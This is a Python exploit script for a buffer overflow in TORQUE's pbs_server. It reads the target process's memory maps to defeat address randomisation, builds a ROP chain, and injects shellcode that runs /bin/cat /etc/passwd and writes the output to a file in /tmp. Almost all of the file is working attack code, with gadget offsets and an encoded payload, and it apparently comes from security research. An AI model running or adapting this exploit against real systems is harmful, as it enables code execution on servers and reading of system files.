import os
import socket
import struct
import sys
import time

from roputils import *

# Initial vector based on (which just overwrites the return address with the non-ASLR address of exit())
# http://www.exploit-db.com/download/33554
# https://labs.mwrinfosecurity.com/advisories/2014/05/14/torque-buffer-overflow/

host = 'localhost'
port = 15001

def get_pid_maps(pid, cmd):
  maps = {}
  while cmd not in maps:
    for line in open("/proc/%i/maps" % pid):
      s = line.split(" ")
      range = s[0].split("-")
      name = s[-1].rstrip("\n")
      if name in maps:
        maps[name] += [(range[0], s[1])]
      else:
        maps[name] = [(range[0], s[1])]
    time.sleep(0.5)
  return maps

def getpids():
  return [pid for pid in os.listdir('/proc') if pid.isdigit()]

def wait_for_process(name, sleep=100):
  while True:
    for pid in getpids(): # psutil.pids(): p = psutil.Process(pid) p.name() == name:
      try:
        if open("/proc/%s/comm" % pid).readlines()[0].startswith(name):
          return int(pid)
      except e:
        pass
    time.sleep(1000/sleep)

def get_load_for(lib, perms, maps):
  for load in maps[lib]:
    if load[1] == perms:
      return int(load[0], base=16)

def write_at(pbs_rop, value, addr):
  # Write the value at addr, using the following gadgets in pbs:
  #   21f48:       48 89 10                mov    %rdx,(%rax)
  #   21f4b:       f3 c3                   repz retq 
  # and combined with gadgets available in pbs to write to rdx and rax
  buf  = pbs_rop.p(pbs_rop.gadget("pop", "rdx"))
  buf += value
  buf += pbs_rop.p(pbs_rop.gadget("pop", "rax"))
  buf += pbs_rop.p(addr)
  buf += pbs_rop.p(pbs_rop.gadget("\x48\x89\x10\xf3\xc3"))

  return buf

def pad_to(pad_to, buf):
  if len(buf) % pad_to == 0:
    return buf
  return buf + (pad_to - len(buf) % pad_to) * '\x90'

# The main thing we need to take into account:
# *negate = FALSE;
# *value = UINT_MAX;
# these overwrite part of the overflown buffer, so we need to skip those stack locations
# (gdb) p /sx (void*)negate - (void*)scratch 
# $7 = 0x1d8
# (gdb) p /sx (void*)value - (void*)scratch 
# $8 = 0x1dc
def exploit(socket, libc, libc_base, pbs, pbs_base, pbs_rw, vsyscall_base):
  pbs_rop   = ROP(pbs)
  pbs_rop.set_base(pbs_base)
  
  libc_rop   = ROP(libc)
  libc_rop.set_base(libc_base)

  shellcode = "\x48\xc7\xc0\x02\x00\x00\x00\x48\xc7\xc6\x41\x00\x00\x00\x48\xc7\xc2\xff\x01\x00\x00\x48\x8d\x3d\x02\x00\x00\x00\xeb\x09\x2f\x74\x6d\x70\x2f\x6d\x65\x68\x00\x0f\x05\x48\x89\xc7\x48\xc7\xc6\x01\x00\x00\x00\x48\xc7\xc0\x21\x00\x00\x00\x0f\x05\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x1d\x02\x00\x00\x00\xeb\x0c\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00\x6a\x00\x53\x48\x8d\x3d\x02\x00\x00\x00\xeb\x09\x2f\x62\x69\x6e\x2f\x63\x61\x74\x00\x57\x48\x89\xe6\x48\x89\xe6\x48\x31\xd2\x0f\x05\xeb\xfe"
  shellcode = pad_to(8, shellcode)

  buf = ""
  
  # pop_r.x ; r.x ; pop_r.x ; r.x ; write_gadget (; next_gadget) => 5 stack slots per write
  for i in range(0, min(8, len(shellcode) // 8)):
    buf += write_at(pbs_rop, shellcode[(i*8) : ((i+1)*8)], pbs_rw + i * 8)

  buf += pbs_rop.p(pbs_rop.gadget("pop", n=5))
  buf += Pattern.create(5*8)
  
  for i in range(8, len(shellcode) // 8):
    buf += write_at(pbs_rop, shellcode[(i*8) : ((i+1)*8)], pbs_rw + i * 8)

  # mmap(addr, len, PROT_READ | PROT_EXEC = 5)
  buf += pbs_rop.call(libc_rop.addr("mprotect"), pbs_rw, 4096, 5)

  # return to shellcode
  buf += pbs_rop.p(pbs_rw)
  
  base_offset = 135
  offset = base_offset + len(buf)
  header = str(len(str(offset))) + str(offset) + '1'

  packet = header
  packet += "\x00" * (140 - len(packet))
  packet += buf

  sock.sendall(packet)

  sock.close()



if __name__ == "__main__":
  if len(sys.argv) != 3:
    print >>sys.stderr, "Usage: python exploit.py <path-to-libc> <path-to-pbs_server>"
    sys.exit(0)

  libc = sys.argv[1]
  pbs = sys.argv[2]

  pid = wait_for_process("pbs_server")
#  pid = wait_for_process("MVEE_LD_Loader_")
  m = get_pid_maps(pid, pbs)

  libc_base = get_load_for(libc, "r-xp", m)
  pbs_base = get_load_for(pbs, "r-xp", m)
  pbs_rw = get_load_for(pbs, "rw-p", m)
  vsyscall_base = get_load_for("[vsyscall]", "r-xp", m)

  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.connect((host, port))

  exploit(socket, libc, libc_base, pbs, pbs_base, pbs_rw, vsyscall_base)
